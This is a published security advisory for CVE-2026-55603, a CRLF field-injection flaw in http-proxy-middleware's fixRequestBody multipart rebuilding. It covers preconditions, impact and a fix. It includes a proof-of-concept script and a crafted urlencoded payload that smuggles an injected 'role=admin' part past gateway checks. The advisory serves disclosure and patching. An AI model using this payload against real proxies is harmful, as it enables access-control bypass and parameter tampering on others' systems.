GHSA-GCQ2-9PQ2-CXQM

Vulnerability from github – Published: 2026-06-18 13:06 – Updated: 2026-06-18 13:06
VLAI
Summary
http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`
Details

Summary

fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF:

// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`;
  }
}

A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.

By contrast, the sibling output branches are safe: application/json uses JSON.stringify (escapes control chars) and application/x-www-form-urlencoded uses querystring.stringify (percent-encodes). Only the multipart branch lacks escaping.

Preconditions

All three must hold; this narrows real-world exposure and is the basis for AC:H: 1. The proxy app populates req.body with a non-multipart parser (express.urlencoded, express.json, or text) so an injected boundary in a value is not split on input. 2. The proxied (outgoing) request is sent as multipart/form-data (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs. 3. The app calls fixRequestBody (the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key.

Note: a pure multipart-in → multipart-out flow (e.g. multer) is generally not exploitable for a new-field injection, because the proxy's multipart parser already splits the injected boundary, so req.body and the backend agree. The desync specifically requires a non-multipart input parser.

Impact

When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend: - Validation / access-control bypass bypass gateway-side field checks (demonstrated below: a gateway that forbids role=admin is bypassed; backend grants admin). - Parameter tampering add or overwrite fields the backend trusts (IDs, flags, prices). - File-part injection inject a filename="..." part into the upstream multipart stream.

Proof of Concept

// npm i http-proxy-middleware@4.0.0   (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';

// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
  user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};

// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
  h: { 'content-type': 'multipart/form-data; boundary=BB' },
  getHeader(n){ return this.h[n.toLowerCase()]; },
  setHeader(n,v){ this.h[n.toLowerCase()] = v; },
  write(d){ out.push(Buffer.from(d)); },
};

fixRequestBody(proxyReq, req);          // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());

Output: one input field becomes two parts; role=admin was injected via the unescaped CRLF:

--BB
Content-Disposition: form-data; name="user"

alice
--BB
Content-Disposition: form-data; name="role"     <-- injected part; never present in req.body's keys
admin
--BB--

req.body had a single key (user), so any gateway policy checking req.body.role passes, yet the backend's multipart parser receives role=admin. On the wire the attacker simply sends, as application/x-www-form-urlencoded: user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--

Remediation

Neutralize CR/LF (and ") in keys/values before interpolation, or build the body with a real multipart encoder (e.g. FormData / form-data) instead of string concatenation. Minimal fix:

function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  const bad = /[\r\n]/;
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    const v = String(value);
    if (bad.test(key) || bad.test(v)) {
      throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');
    }
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n`;
  }
}

(Reject is preferable to silent stripping, to avoid masking malicious input.)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "http-proxy-middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.4"
            },
            {
              "fixed": "3.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "http-proxy-middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55603"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:06:21Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n`fixRequestBody()` is the library\u0027s documented helper for re-emitting a request body that was already consumed by a body parser. When the **outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the body with `handlerFormDataBodyData()`, which interpolates each `req.body` key and value directly into the multipart wire format **without neutralizing CR/LF**:\n\n```js\n// dist/handlers/fix-request-body.js\nfunction handlerFormDataBodyData(contentType, data) {\n  const boundary = contentType.replace(/^.*boundary=(.*)$/, \u0027$1\u0027);\n  let str = \u0027\u0027;\n  for (const [key, value] of Object.entries(data)) {\n    str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key}\"\\r\\n\\r\\n${value}\\r\\n`;\n  }\n}\n```\n\nA `\\r\\n` inside a value (or key) lets an attacker close the current part and inject an **entirely new form part**. Because the proxy\u0027s own body parser saw a single opaque value, any gateway-side policy or validation performed on `req.body` is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.\n\nBy contrast, the sibling output branches are safe: `application/json` uses `JSON.stringify` (escapes control chars) and `application/x-www-form-urlencoded` uses `querystring.stringify` (percent-encodes). Only the multipart branch lacks escaping.\n\n## Preconditions \nAll three must hold; this narrows real-world exposure and is the basis for `AC:H`:\n1. The proxy app populates `req.body` with a **non-multipart** parser (`express.urlencoded`, `express.json`, or text) so an injected boundary in a value is **not** split on input.\n2. The proxied (outgoing) request is sent as **`multipart/form-data`** (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.\n3. The app calls `fixRequestBody` (the documented pattern for \"I body-parsed, now re-stream\"), and an attacker controls at least one body field value or key.\n\n\u003e Note: a pure multipart-in \u2192 multipart-out flow (e.g. `multer`) is generally **not** exploitable for a *new-field* injection, because the proxy\u0027s multipart parser already splits the injected boundary, so `req.body` and the backend agree. The desync specifically requires a non-multipart input parser.\n\n## Impact\nWhen the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:\n- **Validation / access-control bypass** bypass gateway-side field checks (demonstrated below: a gateway that forbids `role=admin` is bypassed; backend grants admin).\n- **Parameter tampering** add or overwrite fields the backend trusts (IDs, flags, prices).\n- **File-part injection** inject a `filename=\"...\"` part into the upstream multipart stream.\n\n## Proof of Concept\n\n```js\n// npm i http-proxy-middleware@4.0.0   (Node ESM: save as minimal.mjs)\nimport { fixRequestBody } from \u0027http-proxy-middleware\u0027;\n\n// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.\n// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field\u0027s value holds CRLF:\nconst req = { readableLength: 0, body: {\n  user: \u0027alice\\r\\n--BB\\r\\nContent-Disposition: form-data; name=\"role\"\\r\\n\\r\\nadmin\\r\\n--BB--\u0027\n}};\n\n// Minimal stand-in for the outgoing proxy request; capture what gets written.\nconst out = [];\nconst proxyReq = {\n  h: { \u0027content-type\u0027: \u0027multipart/form-data; boundary=BB\u0027 },\n  getHeader(n){ return this.h[n.toLowerCase()]; },\n  setHeader(n,v){ this.h[n.toLowerCase()] = v; },\n  write(d){ out.push(Buffer.from(d)); },\n};\n\nfixRequestBody(proxyReq, req);          // library rebuilds the multipart body\nconsole.log(Buffer.concat(out).toString());\n```\n\nOutput: one input field becomes **two** parts; `role=admin` was injected via the unescaped CRLF:\n\n```\n--BB\nContent-Disposition: form-data; name=\"user\"\n\nalice\n--BB\nContent-Disposition: form-data; name=\"role\"     \u003c-- injected part; never present in req.body\u0027s keys\nadmin\n--BB--\n```\n\n`req.body` had a single key (`user`), so any gateway policy checking `req.body.role` passes, yet the backend\u0027s multipart parser receives `role=admin`. On the wire the attacker simply sends, as `application/x-www-form-urlencoded`: `user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name=\"role\"%0D%0A%0D%0Aadmin%0D%0A--BB--`\n\n## Remediation\nNeutralize CR/LF (and `\"`) in keys/values before interpolation, or build the body with a real multipart encoder (e.g. `FormData` / `form-data`) instead of string concatenation. Minimal fix:\n\n```js\nfunction handlerFormDataBodyData(contentType, data) {\n  const boundary = contentType.replace(/^.*boundary=(.*)$/, \u0027$1\u0027);\n  const bad = /[\\r\\n]/;\n  let str = \u0027\u0027;\n  for (const [key, value] of Object.entries(data)) {\n    const v = String(value);\n    if (bad.test(key) || bad.test(v)) {\n      throw new Error(\u0027fixRequestBody: CR/LF not allowed in multipart field name/value\u0027);\n    }\n    str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key.replace(/\"/g, \u0027%22\u0027)}\"\\r\\n\\r\\n${v}\\r\\n`;\n  }\n}\n```\n(Reject is preferable to silent stripping, to avoid masking malicious input.)",
  "id": "GHSA-gcq2-9pq2-cxqm",
  "modified": "2026-06-18T13:06:21Z",
  "published": "2026-06-18T13:06:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/chimurai/http-proxy-middleware"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…